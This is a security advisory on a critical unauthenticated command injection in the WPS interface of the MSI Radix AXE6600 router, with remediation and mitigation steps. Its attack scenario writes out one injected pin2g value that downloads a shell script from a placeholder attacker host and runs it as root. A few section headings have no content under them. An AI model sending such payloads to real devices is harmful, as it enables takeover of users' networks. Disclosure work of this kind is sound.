MSI Radix AXE6600 Critical Command Injection in WPS Interface (CVE-2026-71983)

Executive Summary

A critical command injection vulnerability (CVE-2026-71983) has been disclosed in the MSI Radix AXE6600 tri-band Wi-Fi 6E gaming router. The flaw exists in the wps.cgi interface and allows remote, unauthenticated attackers to execute arbitrary operating system commands with root privileges by sending specially crafted input through the pin2g, pin5g, or pin6g parameters.

CVSS Score: 9.8 (Critical)

This is one of four critical command injection vulnerabilities disclosed simultaneously affecting the same firmware version (v781521) across different router subsystems.

Vulnerability Overview

Root Cause

The wps.cgi CGI handler on the MSI Radix AXE6600 processes WPS (Wi-Fi Protected Setup) PIN values for the 2.4 GHz, 5 GHz, and 6 GHz radio bands via the pin2g, pin5g, and pin6g parameters respectively. These parameters are passed directly into shell commands without sanitization, enabling classic OS command injection.

An attacker can inject shell metacharacters (e.g., ;, |, `) into any of these parameters to break out of the intended command context and execute arbitrary code with the privileges of the web server process — which on embedded routers typically runs as root.

Affected Versions

No patch has been publicly confirmed at time of publication. Check MSI's support portal for firmware updates.

Technical Details

Attack Vector

The vulnerability is exploitable over the network against any MSI Radix AXE6600 running firmware v781521. If the router's administration interface is accessible from the internet (e.g., remote management enabled), the attack surface is externally reachable.

Example Attack Scenario

1. Attacker identifies MSI Radix AXE6600 on the network
2. Sends crafted HTTP POST to /wps.cgi with malicious pin2g value:
   pin2g=12345678%3Bwget+-O-+http://attacker.com/shell.sh+|+sh
3. Router executes: wps_set_pin 12345678; wget -O- http://attacker.com/shell.sh | sh
4. Shell script runs as root — attacker gains full control of the device
5. Router used as pivot point for internal network access

Why WPS Is Especially Risky

WPS (Wi-Fi Protected Setup) is designed to simplify device onboarding. However, its PIN-based mode has long been known to be insecure. This vulnerability compounds that existing risk by allowing command injection through the PIN input fields, turning a convenience feature into a root-access backdoor.

Impact

Successful exploitation allows an attacker to:

• Execute arbitrary commands as root on the router
• Intercept all network traffic passing through the device
• Modify DNS settings to redirect traffic (DNS hijacking)
• Establish persistent backdoors via firmware modification or cron jobs
• Pivot into the LAN from a compromised router
• Exfiltrate Wi-Fi credentials and connected device information
• Disrupt network connectivity for all connected devices

For home users, this means full compromise of the home network. For small businesses using this router, it represents a critical network security breach.

Remediation

Immediate Actions

1. Check for firmware updates on the MSI support portal — apply any available patch immediately
2. Disable remote management / WAN-side admin access if enabled
3. Disable WPS if not actively required — this removes the attack surface for this specific CVE
4. Restrict LAN access to the admin interface using firewall rules or access control lists
5. Monitor for unauthorized configuration changes — DNS servers, port forwarding rules, firewall settings

Network-Level Mitigations

• Place the router behind a stateful firewall if possible
• Block inbound connections to the router's management port (typically 80/443) from untrusted networks
• Enable logging and alert on unusual outbound connections from the router's management IP

If Compromise Is Suspected

1. Perform a factory reset and reconfigure from scratch (do not restore from backup — configuration backups may preserve malicious changes)
2. Change all Wi-Fi passwords and rotate credentials for devices that connected through the router
3. Review DNS settings on all LAN clients to ensure they were not changed
4. Consider replacing the device until a verified patch is available

Detection

Related CVEs

These four CVEs were disclosed simultaneously and affect the same MSI Radix AXE6600 firmware (v781521):

All four represent the same class of vulnerability — unsanitized input passed to shell commands — across different router management functions. Organizations should treat this as a systemic firmware security issue.

Key Takeaways

1. CVSS 9.8 Critical — Remote, unauthenticated command injection with root impact
2. Three attack parameters — pin2g, pin5g, pin6g all affected in the WPS interface
3. Disable WPS immediately to mitigate the attack surface while awaiting a patch
4. Block remote management from untrusted networks
5. Part of a cluster of 4 CVEs — the entire firmware (v781521) has systemic input sanitization failures

References

• NVD — CVE-2026-71983
• MSI Product Support

Related Advisories

• MSI Radix AXE6600 URL Filter Command Injection (CVE-2026-71984)
• MSI Radix AXE6600 Access Control Command Injection (CVE-2026-71985)
• MSI Radix AXE6600 DMZ Command Injection (CVE-2026-71986)